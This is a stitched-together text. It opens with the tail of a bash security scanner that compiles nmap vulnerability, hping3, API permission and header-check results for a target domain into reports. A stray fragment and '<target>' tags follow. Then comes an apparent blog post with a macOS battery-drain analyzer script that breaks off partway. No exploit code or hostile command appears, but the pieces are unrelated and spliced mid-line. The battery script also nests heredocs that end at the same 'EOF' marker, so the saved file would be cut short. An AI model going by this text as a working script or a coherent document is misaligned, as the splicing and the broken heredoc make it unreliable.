### 1. Domain Information

- **Primary Domain:** $DOMAIN
- **IP Address:** $IP_ADDRESS
- **Subdomains Discovered:** $(cat subdomain_count.txt)

### 2. SSL/TLS Configuration

**Certificate Information:**
\`\`\`
Issuer: $(cat cert_issuer.txt)
Subject: $(cat cert_subject.txt)
$(cat cert_dates.txt)
\`\`\`

**TLS Protocol Support:**
\`\`\`
$(cat tls_versions.txt)
\`\`\`

**Assessment:**
EOF

    # Add TLS assessment
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        echo "⚠️ **Warning:** Outdated TLS protocols detected (TLSv1.0/1.1)" >> "$EXEC_REPORT"
    else
        echo "✅ **Good:** Only modern TLS protocols detected (TLSv1.2/1.3)" >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 3. Port Exposure

- **Open Ports (Top 1000):** $(cat open_ports_count.txt)

**Open Ports List:**
\`\`\`
$(cat open_ports_list.txt)
\`\`\`

### 4. Vulnerability Assessment

EOF

    if [ "$VULN_SCAN" = true ] && [ -f vulnerability_count.txt ]; then
        cat >> "$EXEC_REPORT" << EOF
- **Vulnerabilities Found:** $(cat vulnerability_count.txt)

**Critical Vulnerabilities:**
\`\`\`
$(head -20 vulnerabilities_found.txt)
\`\`\`

EOF
    else
        echo "Vulnerability scanning was not performed." >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 5. Outdated Software

- **Outdated Components Found:** $(cat old_software_count.txt)

EOF

    if [ -d old_software ] && [ "$(ls -A old_software)" ]; then
        echo "**Outdated Software Detected:**" >> "$EXEC_REPORT"
        echo "\`\`\`" >> "$EXEC_REPORT"
        find old_software -type f ! -empty -exec basename {} \; >> "$EXEC_REPORT"
        echo "\`\`\`" >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 6. API Security

EOF

    if [ "$API_SCAN" = true ]; then
        if [ -f api_discovery/endpoints_found.txt ]; then
            cat >> "$EXEC_REPORT" << EOF
**API Endpoints Discovered:**
\`\`\`
$(cat api_discovery/endpoints_found.txt)
\`\`\`

EOF
        fi
        
        if [ -f api_permissions/method_issues.txt ]; then
            cat >> "$EXEC_REPORT" << EOF
**API Permission Issues:**
\`\`\`
$(cat api_permissions/method_issues.txt)
\`\`\`

EOF
        fi
    else
        echo "API scanning was not performed." >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### 7. HTTP Security Headers

\`\`\`
$(cat security_headers_status.txt)
\`\`\`

---

## Priority Recommendations

### Immediate Actions (Priority 1)

EOF

    # Add specific recommendations
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        echo "1. **Disable TLSv1.0/1.1:** Update TLS configuration immediately" >> "$EXEC_REPORT"
    fi
    
    if [ -f vulnerability_count.txt ] && [ "$(cat vulnerability_count.txt)" -gt 0 ]; then
        echo "2. **Patch Vulnerabilities:** Address $(cat vulnerability_count.txt) identified vulnerabilities" >> "$EXEC_REPORT"
    fi
    
    if [ -f old_software_count.txt ] && [ "$(cat old_software_count.txt)" -gt 0 ]; then
        echo "3. **Update Software:** Upgrade $(cat old_software_count.txt) outdated components" >> "$EXEC_REPORT"
    fi
    
    if grep -q "Missing" security_headers_status.txt; then
        echo "4. **Implement Security Headers:** Add missing HTTP security headers" >> "$EXEC_REPORT"
    fi
    
    if [ -f api_permissions/method_issues.txt ]; then
        echo "5. **Fix API Permissions:** Implement proper authentication on exposed APIs" >> "$EXEC_REPORT"
    fi
    
    cat >> "$EXEC_REPORT" << EOF

### Review Actions (Priority 2)

1. Review all open ports and close unnecessary services
2. Audit subdomain inventory and decommission unused subdomains
3. Implement API authentication and authorization
4. Regular vulnerability scanning schedule
5. Software update policy and procedures

---

## Next Steps

1. Review detailed technical and vulnerability reports
2. Prioritize remediation based on risk assessment
3. Implement security improvements
4. Schedule follow-up assessment after remediation

---

**Report Generated:** $(date)  
**Scan Directory:** $SCAN_DIR

**Additional Reports:**
- Technical Report: technical_report.md
- Vulnerability Report: vulnerability_report.md
- API Security Report: api_security_report.md

EOF

    log_success "Executive summary generated: $EXEC_REPORT"
    log_debug "Executive summary saved to: $SCAN_DIR/$EXEC_REPORT"
}

################################################################################
# Generate Technical Report
################################################################################
generate_technical_report() {
    log_info "Generating detailed technical report..."
    log_debug "Creating technical report"
    
    cat > "$TECH_REPORT" << EOF
# Technical Security Assessment Report
## Target: $DOMAIN

**Assessment Date:** $SCAN_DATE  
**Target IP:** $IP_ADDRESS  
**Scanner Version:** $VERSION  
**Network Interface:** $NETWORK_INTERFACE  
**Classification:** CONFIDENTIAL

---

## 1. Scope

**Primary Target:** $DOMAIN  
**IP Address:** $IP_ADDRESS  
**Subdomain Scanning:** $([ "$SCAN_SUBDOMAINS" = true ] && echo "Enabled" || echo "Disabled")  
**Vulnerability Scanning:** $([ "$VULN_SCAN" = true ] && echo "Enabled" || echo "Disabled")  
**API Testing:** $([ "$API_SCAN" = true ] && echo "Enabled" || echo "Disabled")

---

## 2. DNS Configuration

\`\`\`
$(cat dns_records.txt)
\`\`\`

---

## 3. SSL/TLS Configuration

\`\`\`
$(cat certificate_details.txt)
\`\`\`

---

## 4. Port Scan Results

\`\`\`
$(cat port_scan_top1000.txt)
\`\`\`

---

## 5. Vulnerability Assessment

EOF

    if [ "$VULN_SCAN" = true ]; then
        cat >> "$TECH_REPORT" << EOF
### 5.1 NMAP Vulnerability Scan

\`\`\`
$(cat nmap_vuln_scan.txt)
\`\`\`

### 5.2 HTTP Vulnerabilities

\`\`\`
$(cat http_vulnerabilities.txt)
\`\`\`

### 5.3 SSL/TLS Vulnerabilities

\`\`\`
$(cat ssl_vulnerabilities.txt)
\`\`\`

EOF
    fi
    
    cat >> "$TECH_REPORT" << EOF

---

## 6. Asset Discovery

### 6.1 Web Technologies

\`\`\`
$(cat assets/web_technologies.txt)
\`\`\`

### 6.2 CMS Detection

\`\`\`
$(cat assets/cms_detection.txt)
\`\`\`

### 6.3 JavaScript Libraries

\`\`\`
$(cat assets/js_libraries.txt)
\`\`\`

### 6.4 Common Files

\`\`\`
$(cat assets/common_files.txt 2>/dev/null || echo "No common files found")
\`\`\`

---

## 7. Outdated Software

EOF

    if [ -d old_software ] && [ "$(ls -A old_software)" ]; then
        for file in old_software/*.txt; do
            if [ -f "$file" ] && [ -s "$file" ]; then
                echo "### $(basename "$file" .txt)" >> "$TECH_REPORT"
                echo "\`\`\`" >> "$TECH_REPORT"
                cat "$file" >> "$TECH_REPORT"
                echo "\`\`\`" >> "$TECH_REPORT"
                echo >> "$TECH_REPORT"
            fi
        done
    else
        echo "No outdated software detected." >> "$TECH_REPORT"
    fi
    
    cat >> "$TECH_REPORT" << EOF

---

## 8. API Security

EOF

    if [ "$API_SCAN" = true ]; then
        cat >> "$TECH_REPORT" << EOF
### 8.1 API Endpoints

\`\`\`
$(cat api_discovery/endpoints_found.txt 2>/dev/null || echo "No API endpoints found")
\`\`\`

### 8.2 API Permissions

\`\`\`
$(cat api_permissions/unauth_access.txt 2>/dev/null || echo "No permission issues found")
\`\`\`

### 8.3 CORS Configuration

\`\`\`
$(cat api_permissions/cors_headers.txt 2>/dev/null || echo "No CORS headers found")
\`\`\`

EOF
    fi
    
    cat >> "$TECH_REPORT" << EOF

---

## 9. HTTP Security Headers

\`\`\`
$(cat http_headers.txt)
\`\`\`

**Security Headers Status:**
\`\`\`
$(cat security_headers_status.txt)
\`\`\`

---

## 10. Recommendations

### 10.1 Immediate Actions

EOF

    # Add recommendations
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        echo "1. Disable TLSv1.0 and TLSv1.1 protocols" >> "$TECH_REPORT"
    fi
    
    if [ -f vulnerability_count.txt ] && [ "$(cat vulnerability_count.txt)" -gt 0 ]; then
        echo "2. Patch identified vulnerabilities" >> "$TECH_REPORT"
    fi
    
    if [ -f old_software_count.txt ] && [ "$(cat old_software_count.txt)" -gt 0 ]; then
        echo "3. Update outdated software components" >> "$TECH_REPORT"
    fi
    
    cat >> "$TECH_REPORT" << EOF

### 10.2 Review Actions

1. Review all open ports and services
2. Audit subdomain inventory
3. Implement missing security headers
4. Review API authentication
5. Regular security assessments

---

## 11. Document Control

**Classification:** CONFIDENTIAL  
**Distribution:** Security Team, Infrastructure Team  
**Prepared By:** Enhanced Security Scanner v$VERSION  
**Date:** $(date)

---

**END OF TECHNICAL REPORT**
EOF

    log_success "Technical report generated: $TECH_REPORT"
    log_debug "Technical report saved to: $SCAN_DIR/$TECH_REPORT"
}

################################################################################
# Generate Vulnerability Report
################################################################################
generate_vulnerability_report() {
    if [ "$VULN_SCAN" = false ]; then
        log_debug "Vulnerability scanning disabled, skipping vulnerability report"
        return
    fi
    
    log_info "Generating vulnerability report..."
    log_debug "Creating vulnerability report"
    
    cat > "$VULN_REPORT" << EOF
# Vulnerability Assessment Report
## Target: $DOMAIN

**Assessment Date:** $SCAN_DATE  
**Target IP:** $IP_ADDRESS  
**Scanner Version:** $VERSION

---

## Executive Summary

**Total Vulnerabilities Found:** $(cat vulnerability_count.txt)

---

## 1. NMAP Vulnerability Scan

\`\`\`
$(cat nmap_vuln_scan.txt)
\`\`\`

---

## 2. HTTP Vulnerabilities

\`\`\`
$(cat http_vulnerabilities.txt)
\`\`\`

---

## 3. SSL/TLS Vulnerabilities

\`\`\`
$(cat ssl_vulnerabilities.txt)
\`\`\`

---

## 4. Detailed Findings

\`\`\`
$(cat vulnerabilities_found.txt)
\`\`\`

---

**END OF VULNERABILITY REPORT**
EOF

    log_success "Vulnerability report generated: $VULN_REPORT"
    log_debug "Vulnerability report saved to: $SCAN_DIR/$VULN_REPORT"
}

################################################################################
# Generate API Security Report
################################################################################
generate_api_report() {
    if [ "$API_SCAN" = false ]; then
        log_debug "API scanning disabled, skipping API report"
        return
    fi
    
    log_info "Generating API security report..."
    log_debug "Creating API security report"
    
    cat > "$API_REPORT" << EOF
# API Security Assessment Report
## Target: $DOMAIN

**Assessment Date:** $SCAN_DATE  
**Scanner Version:** $VERSION

---

## 1. API Discovery

### 1.1 Endpoints Found

\`\`\`
$(cat api_discovery/endpoints_found.txt 2>/dev/null || echo "No API endpoints found")
\`\`\`

---

## 2. Permission Testing

### 2.1 Unauthenticated Access

\`\`\`
$(cat api_permissions/unauth_access.txt 2>/dev/null || echo "No unauthenticated access issues")
\`\`\`

### 2.2 HTTP Method Issues

\`\`\`
$(cat api_permissions/method_issues.txt 2>/dev/null || echo "No method issues found")
\`\`\`

---

## 3. CORS Configuration

\`\`\`
$(cat api_permissions/cors_headers.txt 2>/dev/null || echo "No CORS issues found")
\`\`\`

---

**END OF API SECURITY REPORT**
EOF

    log_success "API security report generated: $API_REPORT"
    log_debug "API security report saved to: $SCAN_DIR/$API_REPORT"
}

################################################################################
# Main Execution
################################################################################
main() {
    echo "========================================"
    echo "Enhanced Security Scanner v${VERSION}"
    echo "========================================"
    echo
    log_debug "Script started at $(date)"
    log_debug "Network interface: $NETWORK_INTERFACE"
    log_debug "Debug mode: $DEBUG"
    echo
    
    # Check dependencies
    check_dependencies
    
    # Initialize scan
    initialize_scan
    
    # Run scans
    log_debug "Starting DNS reconnaissance phase"
    dns_reconnaissance
    
    log_debug "Starting subdomain discovery phase"
    discover_subdomains
    
    log_debug "Starting SSL/TLS analysis phase"
    ssl_tls_analysis
    
    log_debug "Starting port scanning phase"
    port_scanning
    
    if [ "$VULN_SCAN" = true ]; then
        log_debug "Starting vulnerability scanning phase"
        vulnerability_scanning
    fi
    
    log_debug "Starting hping3 testing phase"
    hping3_testing
    
    log_debug "Starting asset discovery phase"
    asset_discovery
    
    log_debug "Starting old software detection phase"
    detect_old_software
    
    if [ "$API_SCAN" = true ]; then
        log_debug "Starting API discovery phase"
        api_discovery
        log_debug "Starting API permission testing phase"
        api_permission_testing
    fi
    
    log_debug "Starting HTTP security headers analysis phase"
    http_security_headers
    
    log_debug "Starting subdomain scanning phase"
    scan_subdomains
    
    # Generate reports
    log_debug "Starting report generation phase"
    generate_executive_summary
    generate_technical_report
    generate_vulnerability_report
    generate_api_report
    
    # Summary
    echo
    echo "========================================"
    log_success "Scan Complete!"
    echo "========================================"
    echo
    log_info "Scan directory: $SCAN_DIR"
    log_info "Executive summary: $SCAN_DIR/$EXEC_REPORT"
    log_info "Technical report: $SCAN_DIR/$TECH_REPORT"
    
    if [ "$VULN_SCAN" = true ]; then
        log_info "Vulnerability report: $SCAN_DIR/$VULN_REPORT"
    fi
    
    if [ "$API_SCAN" = true ]; then
        log_info "API security report: $SCAN_DIR/$API_REPORT"
    fi
    
    echo
    log_info "Review the reports for detailed findings"
    log_debug "Script completed at $(date)"
}

################################################################################
# Parse Command Line Arguments
################################################################################
DOMAIN=""
SCAN_SUBDOMAINS=false
MAX_SUBDOMAINS=10
VULN_SCAN=false
API_SCAN=false

while getopts "d:sm:vah" opt; do
    case $opt in
        d)
            DOMAIN="$OPTARG"
            ;;
        s)
            SCAN_SUBDOMAINS=true
            ;;
        m)
            MAX_SUBDOMAINS="$OPTARG"
            ;;
        v)
            VULN_SCAN=true
            ;;
        a)
            API_SCAN=true
            ;;
        h)
            usage
            ;;
        \?)
            log_error "Invalid option: -$OPTARG"
            usage
            ;;
    esac
done

# Validate required arguments
if [ -z "$DOMAIN" ]; then
    log_error "Domain is required"
    usage
fi

# Run main function
main
            echo "${HEADERS[$header]}: Present" >>

<target>EOF

chmod +x ./security_scanner_enhanced.sh</target>

Macbook: A script to figure out which processes are causing battery usuage/drain issues (even when the laptop lid is closed)

If you’re trying to figure out whats draining your macbook, even when the lid is closed – then try the script below (call with “sudo ./battery_drain_analyzer.sh”):

cat > ~/battery_drain_analyzer.sh << 'EOF'
#!/bin/bash

# Battery Drain Analyzer for macOS
# This script analyzes processes and settings that affect battery life,
# especially when the laptop lid is closed.

# Colors for terminal output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Output file
REPORT_FILE="battery_drain_report_$(date +%Y%m%d_%H%M%S).md"
TEMP_DIR=$(mktemp -d)

echo -e "${GREEN}Battery Drain Analyzer${NC}"
echo "Collecting system information..."
echo "This may take a minute and will require administrator privileges for some checks."
echo ""

# Function to check if running with sudo
check_sudo() {
    if [[ $EUID -ne 0 ]]; then
        echo -e "${YELLOW}Some metrics require sudo access. Re-running with sudo...${NC}"
        sudo "$0" "$@"
        exit $?
    fi
}

# Start the report
cat > "$REPORT_FILE" << EOF
# Battery Drain Analysis Report
**Generated:** $(date '+%Y-%m-%d %H:%M:%S %Z')  
**System:** $(sysctl -n hw.model)  
**macOS Version:** $(sw_vers -productVersion)  
**Uptime:** $(uptime | sed 's/.*up //' | sed 's/,.*//')

---

## Executive Summary
This report analyzes processes and settings that consume battery power, particularly when the laptop lid is closed.

EOF

# 1. Check current power assertions
echo "Checking power assertions..."
cat >> "$REPORT_FILE" << EOF

## 🔋 Current Power State

### Active Power Assertions
Power assertions prevent your Mac from sleeping. Here's what's currently active:

\`\`\`
EOF
pmset -g assertions | grep -A 20 "Listed by owning process:" >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 2. Check sleep prevention
SLEEP_STATUS=$(pmset -g | grep "sleep" | head -1)
if [[ $SLEEP_STATUS == *"sleep prevented"* ]]; then
    echo "" >> "$REPORT_FILE"
    echo "⚠️ **WARNING:** Sleep is currently being prevented!" >> "$REPORT_FILE"
fi

# 3. Analyze power settings
echo "Analyzing power settings..."
cat >> "$REPORT_FILE" << EOF

## ⚙️ Power Management Settings

### Current Power Profile
\`\`\`
EOF
pmset -g >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# Identify problematic settings
cat >> "$REPORT_FILE" << EOF

### Problematic Settings for Battery Life
EOF

POWERNAP=$(pmset -g | grep "powernap" | awk '{print $2}')
TCPKEEPALIVE=$(pmset -g | grep "tcpkeepalive" | awk '{print $2}')
WOMP=$(pmset -g | grep "womp" | awk '{print $2}')
STANDBY=$(pmset -g | grep "standby" | awk '{print $2}')

if [[ "$POWERNAP" == "1" ]]; then
    echo "- ❌ **Power Nap is ENABLED** - Allows Mac to wake for updates (HIGH battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ Power Nap is disabled" >> "$REPORT_FILE"
fi

if [[ "$TCPKEEPALIVE" == "1" ]]; then
    echo "- ⚠️ **TCP Keep-Alive is ENABLED** - Maintains network connections during sleep (MEDIUM battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ TCP Keep-Alive is disabled" >> "$REPORT_FILE"
fi

if [[ "$WOMP" == "1" ]]; then
    echo "- ⚠️ **Wake on LAN is ENABLED** - Allows network wake (MEDIUM battery drain)" >> "$REPORT_FILE"
else
    echo "- ✅ Wake on LAN is disabled" >> "$REPORT_FILE"
fi

# 4. Collect CPU usage data
echo "Collecting CPU usage data..."
cat >> "$REPORT_FILE" << EOF

## 📊 Top Battery-Draining Processes

### Current CPU Usage (Higher CPU = More Battery Drain)
EOF

# Get top processes by CPU
top -l 2 -n 20 -o cpu -stats pid,command,cpu,mem,purg,user | tail -n 21 > "$TEMP_DIR/top_output.txt"

# Parse and format top output
echo "| PID | Process | CPU % | Memory | User |" >> "$REPORT_FILE"
echo "|-----|---------|-------|--------|------|" >> "$REPORT_FILE"
tail -n 20 "$TEMP_DIR/top_output.txt" | while read line; do
    if [[ ! -z "$line" ]] && [[ "$line" != *"PID"* ]]; then
        PID=$(echo "$line" | awk '{print $1}')
        PROCESS=$(echo "$line" | awk '{print $2}' | cut -c1-30)
        CPU=$(echo "$line" | awk '{print $3}')
        MEM=$(echo "$line" | awk '{print $4}')
        USER=$(echo "$line" | awk '{print $NF}')
        
        # Highlight high CPU processes
        # Use awk for floating point comparison to avoid bc dependency
        if awk "BEGIN {exit !($CPU > 10.0)}" 2>/dev/null; then
            echo "| $PID | **$PROCESS** | **$CPU** | $MEM | $USER |" >> "$REPORT_FILE"
        else
            echo "| $PID | $PROCESS | $CPU | $MEM | $USER |" >> "$REPORT_FILE"
        fi
    fi
done

# 5. Check for power metrics (if available with sudo)
if [[ $EUID -eq 0 ]]; then
    echo "Collecting detailed power metrics..."
    cat >> "$REPORT_FILE" << EOF

### Detailed Power Consumption Analysis
EOF
    
    # Run powermetrics for 2 seconds
    powermetrics --samplers tasks --show-process-energy -i 2000 -n 1 2>/dev/null > "$TEMP_DIR/powermetrics.txt"
    
    if [[ -s "$TEMP_DIR/powermetrics.txt" ]]; then
        echo '```' >> "$REPORT_FILE"
        grep -A 30 -F "*** Running tasks ***" "$TEMP_DIR/powermetrics.txt" | head -35 >> "$REPORT_FILE"
        echo '```' >> "$REPORT_FILE"
    fi
fi

# 6. Check wake reasons
echo "Analyzing wake patterns..."
cat >> "$REPORT_FILE" << EOF

## 💤 Sleep/Wake Analysis

### Recent Wake Events
These events show why your Mac woke from sleep:

\`\`\`
EOF
pmset -g log | grep -E "Wake from|DarkWake|Notification" | tail -10 >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 7. Check scheduled wake events
cat >> "$REPORT_FILE" << EOF

### Scheduled Wake Requests
These are processes that have requested to wake your Mac:

\`\`\`
EOF
pmset -g log | grep "Wake Requests" | tail -5 >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 8. Background services analysis
echo "Analyzing background services..."
cat >> "$REPORT_FILE" << EOF

## 🔄 Background Services Analysis

### Potentially Problematic Services
EOF

# Check for common battery-draining services
SERVICES_TO_CHECK=(
    "Spotlight:mds_stores"
    "Time Machine:backupd"
    "Photos:photoanalysisd"
    "iCloud:bird"
    "CrowdStrike:falcon"
    "Dropbox:Dropbox"
    "Google Drive:Google Drive"
    "OneDrive:OneDrive"
    "Creative Cloud:Creative Cloud"
    "Docker:com.docker"
    "Parallels:prl_"
    "VMware:vmware"
    "Spotify:Spotify"
    "Slack:Slack"
    "Microsoft Teams:Teams"
    "Zoom:zoom.us"
    "Chrome:Google Chrome"
    "Edge:Microsoft Edge"
)

echo "| Service | Status | Impact |" >> "$REPORT_FILE"
echo "|---------|--------|--------|" >> "$REPORT_FILE"

for service in "${SERVICES_TO_CHECK[@]}"; do
    IFS=':' read -r display_name process_name <<< "$service"
    # Use pgrep with fixed string matching to avoid regex issues
    if pgrep -qfi "$process_name" 2>/dev/null; then
        # Get CPU usage for this process (escape special characters)
        escaped_name=$(printf '%s\n' "$process_name" | sed 's/[[\.*^$()+?{|]/\\&/g')
        CPU_USAGE=$(ps aux | grep -i "$escaped_name" | grep -v grep | awk '{sum+=$3} END {print sum}')
        if [[ -z "$CPU_USAGE" ]]; then
            CPU_USAGE="0"
        fi
        
        # Determine impact level
        # Use awk for floating point comparison
        if awk "BEGIN {exit !($CPU_USAGE > 20.0)}" 2>/dev/null; then
            IMPACT="HIGH ⚠️"
        elif awk "BEGIN {exit !($CPU_USAGE > 5.0)}" 2>/dev/null; then
            IMPACT="MEDIUM"
        else
            IMPACT="LOW"
        fi
        
        echo "| $display_name | Running (${CPU_USAGE}% CPU) | $IMPACT |" >> "$REPORT_FILE"
    fi
done

# 9. Battery health check
echo "Checking battery health..."
cat >> "$REPORT_FILE" << EOF

## 🔋 Battery Health Status

\`\`\`
EOF
system_profiler SPPowerDataType | grep -A 20 "Battery Information:" >> "$REPORT_FILE"
echo '```' >> "$REPORT_FILE"

# 10. Recommendations
cat >> "$REPORT_FILE" << EOF

## 💡 Recommendations

### Immediate Actions to Improve Battery Life

#### Critical (Do These First):
EOF

# Generate recommendations based on findings
if [[ "$POWERNAP" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
1. **Disable Power Nap**
   \`\`\`bash
   sudo pmset -a powernap 0
   \`\`\`
EOF
fi

if [[ "$TCPKEEPALIVE" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
2. **Disable TCP Keep-Alive**
   \`\`\`bash
   sudo pmset -a tcpkeepalive 0
   \`\`\`
EOF
fi

if [[ "$WOMP" == "1" ]]; then
    cat >> "$REPORT_FILE" << EOF
3. **Disable Wake for Network Access**
   \`\`\`bash
   sudo pmset -a womp 0
   \`\`\`
EOF
fi

cat >> "$REPORT_FILE" << EOF

#### Additional Optimizations:
4. **Reduce Display Sleep Time**
   \`\`\`bash
   sudo pmset -a displaysleep 5
   \`\`\`

5. **Enable Automatic Graphics Switching** (if available)
   \`\`\`bash
   sudo pmset -a gpuswitch 2
   \`\`\`

6. **Set Faster Standby Delay**
   \`\`\`bash
   sudo pmset -a standbydelay 1800  # 30 minutes
   \`\`\`

### Process-Specific Recommendations:
EOF

# Check for specific high-drain processes and provide detailed solutions
if pgrep -q "mds_stores" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 🔍 **Spotlight Indexing Detected**
**Problem:** Spotlight is actively indexing your drive, consuming significant CPU and battery.
**Solutions:**
- **Temporary pause:** \`sudo mdutil -a -i off\` (re-enable with \`on\`)
- **Check indexing status:** \`mdutil -s /\`
- **Rebuild index if stuck:** \`sudo mdutil -E /\`
- **Exclude folders:** System Settings > Siri & Spotlight > Spotlight Privacy

EOF
fi

if pgrep -q "backupd" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 💾 **Time Machine Backup Running**
**Problem:** Active backup consuming resources.
**Solutions:**
- **Skip current backup:** Click Time Machine icon > Skip This Backup
- **Schedule for AC power:** \`sudo defaults write /Library/Preferences/com.apple.TimeMachine RequiresACPower -bool true\`
- **Reduce backup frequency:** Use TimeMachineEditor app
- **Check backup size:** \`tmutil listbackups | tail -1 | xargs tmutil calculatedrift\`

EOF
fi

if pgrep -q "photoanalysisd" 2>/dev/null; then
    cat >> "$REPORT_FILE" << EOF
#### 📸 **Photos Library Analysis Active**
**Problem:** Photos app analyzing images for faces, objects, and scenes.
**Solutions:**
- **Pause temporarily:** Quit Photos app completely
- **Disable features:** Photos > Settings > uncheck "Enable Machine Learning"
- **Process overnight:** Leave Mac plugged in overnight to complete
- **Check progress:** Activity Monitor > Search "photo"

EOF
fi

# Check for additional common issues
if pgrep -q "kernel_task" 2>/dev/null && [[ $(ps aux | grep "kernel_task" | grep -v grep | awk '{print $3}' | cut -d. -f1) -gt 50 ]]; then
    cat >> "$REPORT_FILE" << EOF
#### 🔥 **High kernel_task CPU Usage**
**Problem:** System thermal management or driver issues.
**Solutions:**
- **Reset SMC:** Shut down > Press & hold Shift-Control-Option-Power for 10s
- **Check temperatures:** \`sudo powermetrics --samplers smc | grep temp\`
- **Disconnect peripherals:** Especially USB-C hubs and external displays
- **Update macOS:** Check for system updates
- **Safe mode test:** Restart holding Shift key

EOF
fi

if pgrep -q "WindowServer" 2>/dev/null && [[ $(ps aux | grep "WindowServer" | grep -v grep | awk '{print $3}' | cut -d. -f1) -gt 30 ]]; then
    cat >> "$REPORT_FILE" << EOF
#### 🖥️ **High WindowServer Usage**
**Problem:** Graphics rendering issues or display problems.
**Solutions:**
- **Reduce transparency:** System Settings > Accessibility > Display > Reduce transparency
- **Close visual apps:** Quit apps with animations or video
- **Reset display settings:** Option-click Scaled in Display settings
- **Disable display sleep prevention:** \`pmset -g assertions | grep -i display\`

EOF
fi

# 11. Battery drain score
echo "Calculating battery drain score..."
cat >> "$REPORT_FILE" << EOF

## 📈 Overall Battery Drain Score

EOF

# Calculate score (0-100, where 100 is worst)
SCORE=0
[[ "$POWERNAP" == "1" ]] && SCORE=$((SCORE + 30))
[[ "$TCPKEEPALIVE" == "1" ]] && SCORE=$((SCORE + 15))
[[ "$WOMP" == "1" ]] && SCORE=$((SCORE + 10))

# Add points for running services
pgrep -q "mds_stores" 2>/dev/null && SCORE=$((SCORE + 10))
pgrep -q "backupd" 2>/dev/null && SCORE=$((SCORE + 10))
pgrep -q "photoanalysisd" 2>/dev/null && SCORE=$((SCORE + 5))
pgrep -q "falcon" 2>/dev/null && SCORE=$((SCORE + 10))

# Determine rating
if [[ $SCORE -lt 20 ]]; then
    RATING="✅ **EXCELLENT** - Minimal battery drain expected"
elif [[ $SCORE -lt 40 ]]; then
    RATING="👍 **GOOD** - Some optimization possible"
elif [[ $SCORE -lt 60 ]]; then
    RATING="⚠️ **FAIR** - Noticeable battery drain"
else
    RATING="❌ **POOR** - Significant battery drain"
fi

cat >> "$REPORT_FILE" << EOF
**Battery Drain Score: $SCORE/100**  
**Rating: $RATING**

Higher scores indicate more battery drain. A score above 40 suggests optimization is needed.

---

## 📝 How to Use This Report

1. Review the **Executive Summary** for quick insights
2. Check **Problematic Settings** and apply recommended fixes
3. Identify high CPU processes in the **Top Battery-Draining Processes** section
4. Follow the **Recommendations** in order of priority
5. Re-run this script after making changes to measure improvement

## 🛠️ Common Battery Issues & Solutions

### 🔴 Critical Issues (Fix Immediately)

#### Sleep Prevention Issues
**Symptoms:** Mac won't sleep, battery drains with lid closed
**Diagnosis:** \`pmset -g assertions\`
**Solutions:**
- Kill preventing apps: \`pmset -g assertions | grep -i prevent\`
- Force sleep: \`pmset sleepnow\`
- Reset power management: \`sudo pmset -a restoredefaults\`

#### Runaway Processes
**Symptoms:** Fan running constantly, Mac gets hot, rapid battery drain
**Diagnosis:** \`top -o cpu\` or Activity Monitor
**Solutions:**
- Force quit: \`kill -9 [PID]\` or Activity Monitor > Force Quit
- Disable startup items: System Settings > General > Login Items
- Clean launch agents: \`ls ~/Library/LaunchAgents\`

### 🟡 Common Issues

#### Bluetooth Battery Drain
**Problem:** Bluetooth constantly searching for devices
**Solutions:**
- Reset Bluetooth module: Shift+Option click BT icon > Reset
- Remove unused devices: System Settings > Bluetooth
- Disable when not needed: \`sudo defaults write /Library/Preferences/com.apple.Bluetooth ControllerPowerState 0\`

#### Safari/Chrome High Energy Use
**Problem:** Browser tabs consuming excessive resources
**Solutions:**
- Use Safari over Chrome (more efficient on Mac)
- Install ad blockers to reduce JavaScript load
- Limit tabs: Use OneTab or similar extension
- Disable auto-play: Safari > Settings > Websites > Auto-Play

#### External Display Issues
**Problem:** Discrete GPU activation draining battery
**Solutions:**
- Use single display when on battery
- Lower resolution: System Settings > Displays
- Use clamshell mode efficiently
- Check GPU: \`pmset -g\` look for gpuswitch

#### Cloud Sync Services
**Problem:** Continuous syncing draining battery
**Solutions:**
- **iCloud:** System Settings > Apple ID > iCloud > Optimize Mac Storage
- **Dropbox:** Pause sync or use selective sync
- **OneDrive:** Pause syncing when on battery
- **Google Drive:** File Stream > Preferences > Bandwidth settings

### 🟢 Preventive Measures

#### Daily Habits
- Close apps instead of just minimizing
- Disconnect peripherals when not in use
- Use Safari for better battery life
- Enable Low Power Mode when unplugged
- Reduce screen brightness (saves 10-20% battery)

#### Weekly Maintenance
- Restart Mac weekly to clear memory
- Check Activity Monitor for unusual processes
- Update apps and macOS regularly
- Clear browser cache and cookies
- Review login items and launch agents

#### Monthly Checks
- Calibrate battery (full discharge and charge)
- Clean fans and vents for better cooling
- Review and remove unused apps
- Check storage (full drives impact performance)
- Run Disk Utility First Aid

### Quick Fix Scripts

#### 🚀 Basic Optimization (Safe)
Save and run this script to apply all recommended power optimizations:

\`\`\`bash
#!/bin/bash
# Apply all power optimizations
sudo pmset -a powernap 0
sudo pmset -a tcpkeepalive 0
sudo pmset -a womp 0
sudo pmset -a standbydelay 1800
sudo pmset -a displaysleep 5
sudo pmset -a hibernatemode 3
sudo pmset -a autopoweroff 1
sudo pmset -a autopoweroffdelay 28800
echo "Power optimizations applied!"
\`\`\`

#### 💪 Aggressive Battery Saving
For maximum battery life (may affect convenience):

\`\`\`bash
#!/bin/bash
# Aggressive battery saving settings
sudo pmset -b displaysleep 2
sudo pmset -b disksleep 10
sudo pmset -b sleep 5
sudo pmset -b powernap 0
sudo pmset -b tcpkeepalive 0
sudo pmset -b womp 0
